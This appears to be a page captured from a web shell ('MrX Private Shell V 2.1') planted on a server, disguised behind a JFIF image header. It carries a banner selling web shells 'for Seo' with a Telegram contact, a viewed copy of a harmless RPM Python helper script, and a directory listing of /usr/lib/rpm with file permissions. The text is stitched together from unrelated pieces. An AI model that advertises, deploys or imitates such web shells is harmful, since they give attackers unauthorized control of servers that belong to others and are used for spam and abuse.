����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/python3 -sB
# (imports pythondistdeps from /usr/lib/rpm, hence -B)
#
# This program is free software.
#
# It is placed in the public domain or under the CC0-1.0-Universal license,
# whichever is more permissive.
#
# Alternatively, it may be redistributed and/or modified under the terms of
# the LGPL version 2.1 (or later) or GPL version 2 (or later).
#
# Use this script to generate bundled provides, e.g.:
# ./pythonbundles.py setuptools-47.1.1/pkg_resources/_vendor/vendored.txt
import pathlib
import sys
import pythondistdeps
def generate_bundled_provides(path, namespace):
provides = set()
for line in path.read_text().splitlines():
line, _, comment = line.partition('#')
if comment.startswith('egg='):
# not a real comment
# e.g. git+https://github.com/monty/spam.git@master#egg=spam&...
egg, *_ = comment.strip().partition(' ')
egg, *_ = egg.strip().partition('&')
name = pythondistdeps.normalize_name(egg[4:])
provides.add(f'Provides: bundled({namespace}({name}))')
continue
line = line.strip()
if line:
name, _, version = line.partition('==')
name = pythondistdeps.normalize_name(name)
bundled_name = f"bundled({namespace}({name}))"
python_provide = pythondistdeps.convert(bundled_name, '==', version)
provides.add(f'Provides: {python_provide}')
return provides
def compare(expected, given):
stripped = (l.strip() for l in given)
no_comments = set(l for l in stripped if not l.startswith('#'))
no_comments.discard('')
if expected == no_comments:
return True
extra_expected = expected - no_comments
extra_given = no_comments - expected
if extra_expected:
print('Missing expected provides:', file=sys.stderr)
for provide in sorted(extra_expected):
print(f' - {provide}', file=sys.stderr)
if extra_given:
print('Redundant unexpected provides:', file=sys.stderr)
for provide in sorted(extra_given):
print(f' + {provide}', file=sys.stderr)
return False
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(prog=sys.argv[0],
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('vendored', metavar='VENDORED.TXT',
help='Upstream information about vendored libraries')
parser.add_argument('-c', '--compare-with', action='store',
help='A string value to compare with and verify')
parser.add_argument('-n', '--namespace', action='store',
help='What namespace of provides will used', default='python3dist')
args = parser.parse_args()
provides = generate_bundled_provides(pathlib.Path(args.vendored), args.namespace)
if args.compare_with:
given = args.compare_with.splitlines()
same = compare(provides, given)
if not same:
sys.exit(1)
else:
for provide in sorted(provides):
print(provide)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fileattrs | Folder | 0755 |
|
|
| lua | Folder | 0755 |
|
|
| macros.d | Folder | 0755 |
|
|
| platform | Folder | 0755 |
|
|
| redhat | Folder | 0755 |
|
|
| alt-nodejs14_native.req | File | 70 B | 0755 |
|
| alt-nodejs16_native.req | File | 40 B | 0755 |
|
| alt-nodejs18_native.req | File | 40 B | 0755 |
|
| alt-nodejs19_native.req | File | 43 B | 0755 |
|
| alt-nodejs20_native.req | File | 44 B | 0755 |
|
| alt-nodejs22_native.req | File | 44 B | 0755 |
|
| brp-boot-efi-times | File | 1.43 KB | 0755 |
|
| brp-compress | File | 1.66 KB | 0755 |
|
| brp-java-gcjcompile | File | 1.4 KB | 0755 |
|
| brp-python-bytecompile | File | 3.82 KB | 0755 |
|
| brp-python-hardlink | File | 640 B | 0755 |
|
| brp-scl-compress | File | 1.77 KB | 0755 |
|
| brp-scl-python-bytecompile | File | 3.04 KB | 0755 |
|
| brp-strip | File | 1.24 KB | 0755 |
|
| brp-strip-comment-note | File | 749 B | 0755 |
|
| brp-strip-shared | File | 714 B | 0755 |
|
| brp-strip-static-archive | File | 499 B | 0755 |
|
| check-buildroot | File | 1.26 KB | 0755 |
|
| check-files | File | 1.03 KB | 0755 |
|
| check-prereqs | File | 422 B | 0755 |
|
| check-rpaths | File | 1.02 KB | 0755 |
|
| check-rpaths-worker | File | 4.94 KB | 0755 |
|
| debugedit | File | 38 B | 0755 |
|
| elfdeps | File | 23.16 KB | 0755 |
|
| find-debuginfo.sh | File | 46 B | 0755 |
|
| find-lang.sh | File | 8.04 KB | 0755 |
|
| find-provides | File | 95 B | 0755 |
|
| find-requires | File | 95 B | 0755 |
|
| fontconfig.prov | File | 493 B | 0755 |
|
| gstreamer1.prov | File | 950 B | 0755 |
|
| libtooldeps.sh | File | 722 B | 0755 |
|
| macros | File | 43.75 KB | 0644 |
|
| mkinstalldirs | File | 3.46 KB | 0755 |
|
| nodejs_native.req | File | 74 B | 0755 |
|
| ocamldeps.sh | File | 6.69 KB | 0755 |
|
| perl.prov | File | 6.01 KB | 0755 |
|
| perl.req | File | 11.75 KB | 0755 |
|
| pkgconfigdeps.sh | File | 1.34 KB | 0755 |
|
| pythonbundles.py | File | 3.09 KB | 0755 |
|
| pythondistdeps.py | File | 26.64 KB | 0755 |
|
| rpm.daily | File | 296 B | 0644 |
|
| rpm.log | File | 61 B | 0644 |
|
| rpm.supp | File | 688 B | 0644 |
|
| rpm2cpio.sh | File | 1.56 KB | 0755 |
|
| rpmdb_dump | File | 41 B | 0755 |
|
| rpmdb_load | File | 41 B | 0755 |
|
| rpmdeps | File | 19.79 KB | 0755 |
|
| rpmpopt-4.16.1.3 | File | 11.83 KB | 0644 |
|
| rpmrc | File | 17.24 KB | 0644 |
|
| scldeps.sh | File | 258 B | 0755 |
|
| script.req | File | 326 B | 0755 |
|
| sepdebugcrcfix | File | 43 B | 0755 |
|
| sysusers.generate-pre.sh | File | 2.22 KB | 0755 |
|
| sysusers.prov | File | 605 B | 0755 |
|
| tgpg | File | 937 B | 0755 |
|